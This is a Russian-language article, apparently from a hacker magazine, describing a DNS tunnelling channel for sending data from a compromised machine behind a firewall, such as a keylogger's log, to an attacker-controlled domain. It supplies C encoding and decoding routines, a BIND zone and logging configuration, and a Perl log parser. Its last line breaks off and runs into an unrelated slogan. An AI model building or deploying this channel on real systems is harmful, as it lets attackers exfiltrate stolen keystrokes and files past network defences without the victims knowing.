Часто возникает ситуация, когда мы имеем возможность запустить на уязвимой машине нужное ПО, но ввиду того, что она защищена персональным, либо находится за корпоративным firewall'ом, не имеем возможности организовать обмен данными между ею и нашей системой-сервером. В данном случае рассматривается один из множества способов организации обмена данными, к примеру, отправки кейлога системы-клиента на заданный нами сервер, с использованием инкапсуляции их в запросы к подконтрольному нам DNS серверу.
by karazupa@bk.ru
Часто возникает ситуация, когда мы имеем возможность запустить на уязвимой машине нужное ПО, но ввиду того, что она защищена персональным, либо находится за корпоративным firewall'ом, не имеем возможности организовать обмен данными между ею и нашей системой-сервером. В данном случае рассматривается один из множества способов организации обмена данными, к примеру, отправки кейлога системы-клиента на заданный нами сервер, с использованием инкапсуляции их в запросы к подконтрольному нам DNS серверу.
Не буду вдаваться в подробности работы DNS протокола, кому нужно будет, ознакомится с RFC, скажу лишь, что DNS сервера могут выдавать данные о своей зоне, а также осуществлять поиск в пространстве имен, для которых они не являются полномочными с использованием корневых серверов. Именно этой возможностью DNS протокола мы и воспользуемся.
Итак, основная идея состоит в том, чтобы создать рекурсивный запрос, в данном случае, к домену третьего уровня, нашего домена atacker.com, в котором, в кодированном виде передать заданные данные. Максимальная длина передаваемых в одном пакете данных составляет 255-(длина маркера)-(длина atacker.com)-2. Чтобы иметь возможность отличить полезные запросы от "чужих", введем маркер, с которого будет начинаться имя домена третьего уровня, содержащего данные. На стороне сервера включим логирование всех запросов и будем раскодировать их по мере поступления.
Метод кодирования/декодирования был заимствован из утилиты NSTX(http://nstx.dereference.de/) и представляет собой кодирование по таблице символов, разрешенных к использованию в доменных именах, согласно RFC. Код приведен ниже:
unsigned char domain[] = ".atacker.com"; unsigned char map[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_1234567890"; unsigned char *revmap = NULL; void init_revmap (void) { int i; revmap = malloc(256); for (i = 0; i < strlen(map); i++) revmap[map[i]] = i; } unsigned char *str_encode(unsigned char *data, int len) { int i = 0, off = 1, cut = 0; static unsigned char *buf = NULL; if (len % 3) cut = 3 - len%3; buf = realloc(buf, ((len+2)/3)*4+2); buf[0] = map[cut]; while (i < len) { buf[off + 0] = map[(data[i] & 252) >> 2]; buf[off + 1] = map[((data[i] & 3) << 4) | ((data[i+1] & 240) >> 4)]; buf[off + 2] = map[((data[i+1] & 15) << 2 ) | ((data[i+2] & 192) >> 6)]; buf[off + 3] = map[(data[i+2] & 63)]; i += 3; off += 4; } buf[off] = '\0'; return buf; } unsigned char *str_decode(unsigned char *data, int *rlen) { int i = 0, off = 1; int len; static unsigned char *buf = NULL; if (!revmap) init_revmap(); len = strlen(data)-1; buf = realloc(buf, ((len+3)/4)*3); while (off < len) { buf[i+0] = (revmap[data[off]]<<2)|((revmap[data[off+1]]&48)>>4); buf[i+1] = ((revmap[data[off+1]]&15)<<4)|((revmap[data[off+2]]&60)>>2); buf[i+2] = ((revmap[data[off+2]]&3)<<6)|(revmap[data[off+3]]); i += 3; off += 4; } *rlen = i - revmap[data[0]]; return buf; }На стороне сервера создается widcard A запись для зоны atacker.com следующего вида:
$TTL 21600 ; 6H @ 1D IN SOA ns1.atacker.com. hostmaster.atacker.com. ( 2004120605 ;serial 1H ;refresh 15M ;retry 2W ;expire 1H) ;minimum TTL of 1 hour IN NS ns1.atacker.com. IN NS ns2.atacker.com. IN A XXX.XXX.XXX.XXX ; IN HINFO "Pentium 4" "FreeBSD" ns1 IN A XXX.XXX.XXX.XXX ns2 IN A XXX.XXX.XXX.XXX * IN A 127.0.0.1А также включается логирование всех входящих DNS запросов, путем добавления следющего код в секцию logging:
channel queries_ch { file "/var/log/named/queries.log"; severity info; print-time no; print-category no; }; category queries { queries_ch; };
Для получения чистых данных на стороне сервера используем следующий код:
#!/usr/bin/perl my $MARKER = "z0101"; while($str = <STDIN>) { if(($str =~ s/^XX\+(.*)\/A\/IN$/$1/)) { my @arr = split('/',$str); my @rarr = split(/\./,$arr[2]); if($rarr[0] =~ s/^$MARKER//) { system("./decode $rarr[0]"); } } } # cat /var/log/named/queries.log | pl.pl
Примеры кода(C/Perl) можно скачать в приложении к статье.
Итак, столь не хитрым образом получили скрытый канал передачи данных с системы-клиента, на заданный сервер. В дальнейшем, данный метод можно усовершенствовать, добавив возможности передачи файлов, а также, двухстороннего обмена данными между системами, попробовать скрыть реальные DNS сервера.
Преимущества данного метода:Никаких овечек — только отборные научные факты